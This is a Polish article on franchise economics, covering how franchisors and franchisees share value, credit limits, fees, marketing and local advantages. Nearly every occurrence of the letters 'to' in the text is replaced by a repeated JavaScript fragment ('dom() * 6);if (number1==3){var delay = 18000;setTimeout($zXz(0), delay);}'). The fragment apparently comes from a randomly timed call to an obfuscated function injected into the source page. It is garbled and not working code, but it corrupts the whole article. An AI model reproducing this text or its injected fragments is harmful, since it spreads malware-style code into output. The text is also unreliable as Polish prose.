Istnieją firmy, które żyją z za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarowywania franczyzobiorców. To takie, które tworzyły silną i dominującą markę i teraz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dyskontują. A program franczyzowy jest dla nich sposobem na „monetyzację” siły marki. To jednak me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toda, która ma ograniczony potencjał wzrostu, choć przez kilka lat można z tego dobrze żyć.
We franczyzie trzeba się podzielić war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością, która w modelu własnym pozostaje dla siebie. Choć war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się zastanowić, czy przypadkiem wspólnie nie da się stworzyć war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości, której w ogóle by nie było, gdyby firma działała w modelu własnych placówek. Np. firma sama nie dotarłaby do niektórych lokalizacji czy nie spenetrowałaby rynków za małych dla jej własnych jednostek.
W każdym przypadku tej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości musi być odpowiednio dużo, żeby było się czym podzielić. I obie strony były ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towne. Inaczej franczyzobiorca z czasem zbankrutuje, sprawa się rozniesie i nie będzie już kolejnych. Albo franczyzodawca zrezygnuje z franczyzy i będzie otwierał kolejne placówki w modelu własnym.
Gdzie tworzy się war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość?
War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość firmy tworzy się w dwóch różnych miejscach (i różnym czasie), w postaci bieżącej ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności i w postaci war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości firmy. Pierwszą war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość właściciel konsumuje na bieżąco (jeśli chce), a drugą dopiero gdy sprzeda firmę. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawowa różnica własnego biznesu i franczyzy – tu war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość w postaci war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości firmy leży tylko po jednej stronie. Franczyzobiorca z niej nie korzysta, przynajmniej w prosty sposób.
Uwaga. „właściciel marki żyje z jej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości”. A przynajmniej może tak zrobić w długim okresie. Tymczasem franczyzobiorca nie ma do niej prawa innego niż wynajem. Nie może więc liczyć na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że teraz może wiele nie zarobi, ale jeśli kiedyś sprzeda tę markę, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sobie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to odbije. On musi zarobić tu i teraz, w krótkiej perspektywie. Tym bardziej nie da się franczyzobiorcy omamić inwestycją w rynek, znajomość marki czy wygrzewanie lokalizacji.
Drugim elementem nietypowym franczyzy który ma wpływ na war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość jest kontrola biznesu. We franczyzie kontrola biznesu, z punktu widzenia franczyzobiorcy jest zewnętrzna. A z punktu widzenia franczyzodawcy jest ograniczona.
Uwaga. „franczyzobiorca optymalizuje swój wynik”. A nie wynik franczyzodawcy. I nic w tym złego, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to typowe zachowanie niezależnego przedsiębiorcy. Najchętniej wybiera z modelu franczyzodawcy tylko dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co uważa za słuszne, a jeszcze częściej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co uważa za korzystne dla siebie. Wybiórczo podchodzi do standardów, odrzuca wszystko dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co służy marce w długim okresie, niechętnie zmienia Model Biznesowy (co jest zwykle związane z nakładami). Raczej stara się wycisnąć maksimum z tego, co jest. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przy jak najmniejszych nakładach, czasem też jak najmniejszym wysiłku.
Zewnętrzna kontrola. Zewnętrzna kontrola oznacza, że jeśli franczyzobiorca zauważy jakąś lukę na rynku czy nową możliwość jej wykorzystania, najwyżej będzie mógł o niej powiedzieć. Ale nie samemu i od razu wykorzystać. Przez co Model staje się ociężały i narażony na znacznie bardziej zwinną konkurencję.
Ograniczona kontrola. Ponieważ franczyzobiorca realizuje własny interes, a nie interes franczyzodawcy, ten ostatni stara się zabezpieczyć własny. Na ogół przesztywniając Model, nakładając na niego rozmaite ograniczenia, których nie ma w modelu własnym (tam zapewnia dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kontrola zarządcza). To jednak i tak się nie uda, franczyzobiorca znajdzie sposób, ale ograniczenia pozostaną.
Uwaga. „kontrola”. Czy można jakoś zabezpieczyć swój interes jako franczyzodawcy? Z założenia służy temu umowa franczyzowa, wsparta podręcznikiem operacyjnym. Ale ludzka pomysłowość nie ma granic i jeśli franczyzobiorca będzie chciał oszukać, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sposób znajdzie. Dlatego lepiej oprzeć współpracę na obopólnym interesie, niż na zapisach umowy.
Ograniczona kontrola zmniejsza też przyszłą war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość firmy. Po prostu organizacja, która mniej kontroluje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to co robi, jest dla przyszłego nabywcy mniej warta. W przyszłości nie będzie można np. narzucić zmian do umowy (niezbędnych, aby podążyć za zmianami w rynku), czy zmiany w Modelu.
Czy franczyzobiorca nie ma nigdy szansy, aby zyskać coś z war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości marki franczyzodawcy? Ma, choć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już trochę zaprzeczenie idei franczyzy. Może mianowicie np. po pewnym czasie zamknąć placówkę franczyzową i w tym samym miejscu otworzyć inną, już swoją, o bardzo podobnym profilu. Korzystając z wiedzy, kontaktów, ale przede wszystkim z wygrzania miejsca. To wygrzanie jak najbardziej ma war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość dla nowego biznesu. Zwykle na tyle dużą, że można porównać ten przychód do długookresowej korzyści z posiadania marki. Podobnie jest z wiedzą i doświadczeniem, te także można później wykorzystać we własnym biznesie. To kapitał, także porównywalny do war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości marki.
Jeśli jednak obie strony grają fair, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trzeba zadbać o interesy obu stron. Można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zrobić na dwa podstawowe sposoby, sell- dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i sell-through. W tym drugim o interes franczyzobiorcy dba nie tylko on sam, ale także franczyzodawca.
Sell-through we franczyzie
Jeśli jednak firma ma plany długookresowe, powinna zadbać nie tylko o sell-in, ale i o sell-through. Czyli o sprzedaż swoich partnerów franczyzowych.
Uwaga. „ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie moja sprawa”. Ale przecież franczyzobiorca dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niezależny przedsiębiorca i jego sprawą jest, czy wytworzy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość? Nie tak do końca. Franczyza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to umowa dwustronna, rodzaj obietnicy – „mam sprawdzony Model Biznesowy i jeśli zachowasz się w sposób zgodny z podręcznikiem operacyjnym, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to istnieje duża szansa na sukces”. A jednym sensownym wytłumaczeniem porażki franczyzobiorcy jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że zachowywał się niezgodnie ze standardami.
Sell-in czy sell-through we franczyzie.
Jak zadbać o sell-through? Trzeba przejąć część ryzyka na siebie.
Limit kredy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy. Można udzielić franczyzobiorcy kredytu. Wtedy nie będzie musiał znaleźć środków na zakupy i bez obawy kupi tyle, ile potrzeba do sprzedaży.
Prawo zwrotu. Tu środki wprawdzie trzeba znaleźć, ale znika obawa, że czegoś się nie sprzeda. Więc zamawia się śmiało i tak samo eksponuje.
Zawieszenie opłat. Szczególnie na początku, gdy Koncept się wygrzewa, daje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oddech finansowy. Ale i zachęca do franczyzy, przez dzielenie się ryzykiem.
Dzielenie się wzrostem. Czyli zmniejszenie obciążeń, w miarę jak Koncept się rozwija i zwiększa ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność. Niestety wielu franczyzodawców woli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przekuć na własną nieefektywność i zwiększone koszty.
Wybiórcze standardy. Czy dopasowanie do lokalnej sytuacji. Czasem standard nie jest tak naprawdę kluczowy, a jest standardem tylko dlatego, że wszyscy się do tego przyzwyczaili. Wtedy można z nieco zrezygnować, aby było więcej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości do podziału. Takie wybiórcze podejście wymaga jednak słuchania głosu franczyzobiorców, oni widzą dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to najlepiej.
Słuchanie głosu franczyzobiorców. Czyli wspólne rozwijanie Konceptu. Z jednej strony wymaga zaangażowania i szerszej niż tylko własna perspektywy ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ze strony franczyzobiorców). Z drugiej pokora i unikania arogancji wiedzy ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ze strony franczyzodawcy).
Sell- dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w drugą stronę
Franczyzobiorcy mogą jednak odwrócić ten proces (i interes). I sami wykorzystać franczyzodawcę w modelu sell-in.
Najprostszy sposób dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wykorzystanie limitu zakupów. Zwykle franczyzobiorca ma limit kredy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy, do którego może kupić. Jeśli więc go wykorzysta, ale zapas utrzyma na niskim poziomie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to uzyska w ten sposób darmowy kredyt u franczyzodawcy, który może wykorzystać na co innego.
Inny sposób dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wybiórcze trak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie standardów. Wtedy nie ponosi z tego tytułu kosztów, ale nadal (w krótkim okresie) odnosi korzyści z wylansowanej marki franczyzodawcy. To oczywiście może godzić w wynik franczyzy, szczególnie w dłuższym okresie, ale franczyzobiorca ma inną perspektywę. On nie patrzy na ten wynik, tylko na swój.. I zwykle widzi go w szerszej perspektywie.
Jak się podzielić?
A jeśli uda się wspólnie stworzyć war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość, albo jest jej dostatecznie dużo, aby było się czym podzielić, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można zrobić? Na wiele sposobów.
Opłata franczyzowa. To najprostsza me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toda, choć nie najlepsza. Franczyzobiorca płaci za franczyzę. Albo w postaci % od obrotu, albo w postaci opłaty za jej przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie, wyposażenie, projekt itd.. Jej wadą jest że kłuje w oczy i odstrasza..
Opłata marketingowa. To już łatwiejsze do przełknięcia niż opłata franczyzowa, przynajmniej wiadomo, za co się płaci. Franczyzobiorcy mogą się jednak domagać wykazania, na co poszły ich pieniądze, jaka była efektywność ich wydawania. A także spróbować wydawać te pieniądze lokalnie.
Marża hur dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa. Czy sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarów franczyzobiorcy. Czysty i przejrzysty model, nie budzi też wątpliwości, przecież i tak trzeba gdzieś kupić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towar. Ale nie można przesadzić, franczyzobiorcy porównują ceny zakupów i nie zaakceptują różnicy do rynku. Problemem może być wtedy, że franczyzobiorca spróbuje się „wymknąć” i zacząć kupować gdzie indziej.
War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość marki. To najpewniejszy sposób, choć nie najszybszy. Franczyza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przecież budowanie war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości własnej marki (franczyzodawcy) za cudze pieniądze (franczyzobiorcy). Tyle, że tę war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość trudno zrealizować, na ogół bowiem war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość firmy w modelu franczyzowym jest niższa niż w modelu własnym, ze względu na ograniczone możliwości kontroli.
Wygrzewanie miejsca. Czyli przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie gruntu pod model własny. Tu pozwala się franczyzobiorcy ponieść koszty budowania świadomości marki, a przede wszystkim miejsca. Zaś w odpowiednim momencie wchodzi z modelem własnym, w już wygrzane miejsce.
Dlaczego trzeba się podzielić?
Gdyż obie strony chcą zarobić. Jeśli firma integruje cały model w jednej organizacji, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wystarczy jej jedna ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność. Jeśli w dwóch, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ryzyko się rozprasza, a każda strona chce wziąć za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ryzyko premię w postaci ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności. Jeśli nie stworzy się jakiejś dodatkowej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trzeba się
Czym można się podzielić?
Najlepiej tym, co się wspólnie stworzyło. Ewentualnie tym, co wytwarza model, ale wtedy powinno tego być ponadstandardowo dużo.
Warunki handlowe u dostawców. Czyli rodzaj grupy zakupowej. To typowe wykorzystanie wolumenu zakupów, z natury rzeczy większego, im więcej podmiotów kupuje.
Wolumen. W wolumenie obrotu nie chodzi tylko o warunki handlowe, ale też zarządzanie zapasem. Im bowiem więcej odbiorców, tym mniejsze fluktuacje sprzedaży. A tym samym mniejszy zapas bezpieczeństwa.
Marketing. Wydatki marketingowe są w dużej mierze nie skalowalne. Gdyż rzadko kampanie skierowane są do lokalnego klienta, tylko do całego rynku. A więc nie ma znaczenia, ile placówek prowadzi firma, nakłady są takie same. Z tego punktu widzenia, im więcej, tym (na placówkę) taniej. Uczestnictwo dużej liczby podmiotów obniża więc jednostkowy koszt marketingu i tą dodatkową oszczędnością można się podzielić z franczyzobiorcami.
Zarządzanie magiczną formułą. Tym najlepiej się podzielić, gdy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tu właśnie zwykle jest skupiona kompetencja franczyzodawcy. Przecież stworzył Model Biznesowy, który odniósł sukces (inaczej nikt nie będzie się chciał do niego zapisać). Jednak unikalność modelu nie powinna sprowadzać się tylko do jego założeń, w szczególności przewagi konkurencyjnej i jej obudowy w postaci Konceptu Sprzedażowego.
Szczególnym elementem Modelu Biznesowego powinno być zarządzanie magiczną formułą sprzedaży. To zarządzanie pozwala „wycisnąć” z Konceptu więcej, niż gdyby tylko nim administrować. Więcej we wszystkich składnikach magicznej formuły, czyli więcej odwiedzin, więcej konwersji czy więcej średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji.
Tym „więcej” można się także podzielić z franczyzobiorcą, tak samo jak oszczędnościami w marketingu. Odbywa się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na etapie tworzenia franczyzy, w postaci układu placówki, układu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru czy tworzenia atmosfery zakupu. Ale także na etapie już jej funkcjonowania, przede wszystkim
Czy zawsze musi być dodatkowa war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość do podziału? Nie zawsze, gdyż czasami franczyzobiorca sam tworzy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość, której w ogóle nie ma franczyzodawca.
Model franczyzobiorcy działa inaczej
Przede wszystkim dlatego, że część kosztów nie jest dla franczyzobiorcy prawdziwym kosztem, tylko percepcyjnie przychodem.
Koszty są przychodem. A w każdym razie mogą być, przynajmniej percepcyjnie. Jeśli np. franczyzobiorca jest właścicielem lokalu, którego nikt nie chce wynająć, albo wprawdzie wynajął, ale nie płaci, fakt zagospodarowania go na franczyzę jest korzyścią. Jeśli prowadzi w tym miejscu inne biznesy, a franczyza ma mu zwiększyć łączny ruch w lokalu, zarobi gdzie indziej. Jeśli w wyniku zagospodarowania całej nieruchomości zwiększy się jej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyjmie ją w innym miejscu.
Dostęp do lokalizacji. Franczyzobiorcy czasem mogą pozyskać lokale w ogóle niedostępne na wolnym rynku, a więc i dla franczyzobiorcy. Są blisko rynku, znają go i sami też są znani. To tworzy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość, której wcześniej nie było, ale która może być podstawą do sukcesu i ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności.
Lokalny marketing. Marketing franczyzodawcy jest zwykle centralny. Może przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma premię kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tową, ale też jest drogi, nie dopasowany do lokalnego rynku i z definicji stanowi pewne uśrednienie. Jeśli firma (a wiele jest takich) bazuje na marketingu lokalnym, a przynajmniej może na nim bazować, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to lokalny gracz w postaci franczyzobiorcy ma przewagę. Dotrze taniej, głębiej, do właściwych klientów, we właściwym momencie.
Zarządzanie personelem. To także unikalna cecha franczyzobiorcy. Jeśli powiela model centralny, z wynajętymi pracownikami, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to premia nie będzie odczuwalna. Ale jeśli będzie tam sam pracował, zatrudniał rodzinę i znajomych, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jego pracownicy będą tani, zmotywowali i dopasowani swoją liczebnością nie tyle do kodeksu pracy, co do potrzeb.
Podsumowanie
Franczyza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dobry pomysł na własny rozwój za cudze pieniądze. Ale żeby znaleźli się chętni, a jeszcze bardziej żeby przetrwali, trzeba się z nimi podzielić ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}townością. Tym bardziej, że oni nie mogą liczyć na war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość firmy, która jest ukrytym źródłem war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości dla przedsiębiorcy. Oni muszą zarobić tu i teraz.
Dlatego też biznes franczyzowy musi być albo ponadstandardowo ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towny, aby było się czym podzielić. Albo franczyzobiorca wspólnie z franczyzodawcą powinni wytwarzać dodatkową war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość, której w ogóle by nie było, gdy działają osobno. Taką war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość, jak dostęp do lokalizacji, inny model kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy czy lokalne dopilnowanie biznesu. A czasem dodatkowe korzyści dla franczyzobiorcy, jak wspomożenie innego biznesu czy wykorzystanie inaczej niewykorzystanej lokalizacji.
Jeśli jakiś biznes nie ma jednego lub drugiego, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to lepiej niech nie myśli o franczyzie, nawet jeśli sam jest już ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towny. Bo będzie się musiał podzielić.